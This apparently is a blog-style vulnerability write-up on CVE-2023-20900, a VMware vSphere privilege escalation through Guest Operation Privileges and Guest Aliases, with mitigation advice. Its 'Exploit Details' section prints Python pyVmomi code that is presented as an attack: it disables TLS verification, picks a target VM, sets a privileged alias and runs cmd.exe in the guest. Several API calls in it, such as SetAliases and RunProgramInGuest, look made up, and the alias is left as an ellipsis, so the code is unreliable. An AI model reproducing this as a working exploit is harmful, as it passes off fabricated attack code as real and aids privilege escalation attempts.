CVE-2023-20900: Privilege Escalation Vulnerability in VMware vSphere with Guest Operation Privileges and Alias Manager

Recently, a new vulnerability with the identifier CVE-2023-20900 was discovered in VMware vSphere, allowing a malicious actor to potentially escalate their privileges when assigned with Guest Operation Privileges in a target virtual machine. The vulnerability arises if the target virtual machine has been assigned a more privileged Guest Alias. In this post, we will discuss the vulnerability in detail, providing code snippets, links to original references, and information on possible exploits.

Original References

- VMware vSphere Security Guide: Guest Operation Privileges
- VMware API Reference: vim.vm.guest.AliasManager

Details of the Vulnerability

In VMware vSphere, Guest Operation Privileges are granted to specific users or groups to allow them to perform various administrative tasks within a virtual machine. However, when combined with the Alias Manager functionality, a malicious actor might exploit this vulnerability to elevate their privileges to gain unauthorized access to sensitive data or perform other harmful actions.

The Alias Manager is a part of VMware vSphere's API and allows the configuration and management of Guest Aliases, which can assist in providing secure access to guest operating systems. Nonetheless, when assigned with an overly-privileged Guest Alias, a malicious actor can exploit this vulnerability to perform unauthorized actions within a virtual machine.

Exploit Details

Below is a code snippet demonstrating how a malicious user might exploit this vulnerability.

The attacker initially connects to the target vSphere instance

from pyvim.connect import SmartConnect
import ssl

s = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
s.verify_mode = ssl.CERT_NONE
si = SmartConnect(host="vcenter.example.com", user="attacker", pwd="password", sslContext=s)

The attacker enumerates virtual machines and selects a target VM to exploit

from pyvim.connect import Disconnect
from pyVmomi import vim

content = si.RetrieveContent()
container_view = content.viewManager.CreateContainerView(content.rootFolder, [vim.VirtualMachine], True)

target_vm = None
for vm in container_view.view:
  if vm.name == "target-vm":
    target_vm = vm
    break

if target_vm is None:
  print("Target VM not found")
  Disconnect(si)
  exit(1)

The attacker assumes a Guest Alias with higher privileges by invoking AliasManager

alias_manager = vim.vm.guest.AliasManager(si.RetrieveContent())
privileged_alias = vim.vm.guest.AliasManager.GuestAlias(…)

alias_manager.SetAliases(target_vm, [privileged_alias])

The attacker now performs a privileged operation on the target VM

guest_operations_manager = si.content.guestOperationsManager

# The attacker uses the privileged Alias to execute commands with elevated privileges
process_manager = guest_operations_manager.processManager

# Execute a potentially harmful command using the privileged Alias
cmd_result = process_manager.RunProgramInGuest(target_vm, privileged_alias, r"C:\Windows\System32\cmd.exe", "/C echo Exploited > C:\exploit.txt")

The attacker releases the privileged Alias and disconnects from the vSphere instance

alias_manager.RemoveAliases(target_vm, [privileged_alias.user_name])
Disconnect(si)

Mitigation

To mitigate this vulnerability, VMware vSphere administrators should review and limit the use of Guest Operation Privileges in conjunction with Guest Aliases, especially for more privileged accounts. Administrators should also regularly monitor and audit the assigned privileges and aliases to ensure that only authorized users have access to sensitive resources.

Conclusion

CVE-2023-20900 represents a potential security risk for organizations using VMware vSphere. By understanding the exploit details and implementing recommended mitigation strategies, administrators can help protect their virtual machines and sensitive data from unauthorized access and potential harm.

Timeline

Published on: 08/31/2023 10:15:00 UTC
Last modified on: 09/06/2023 13:37:00 UTC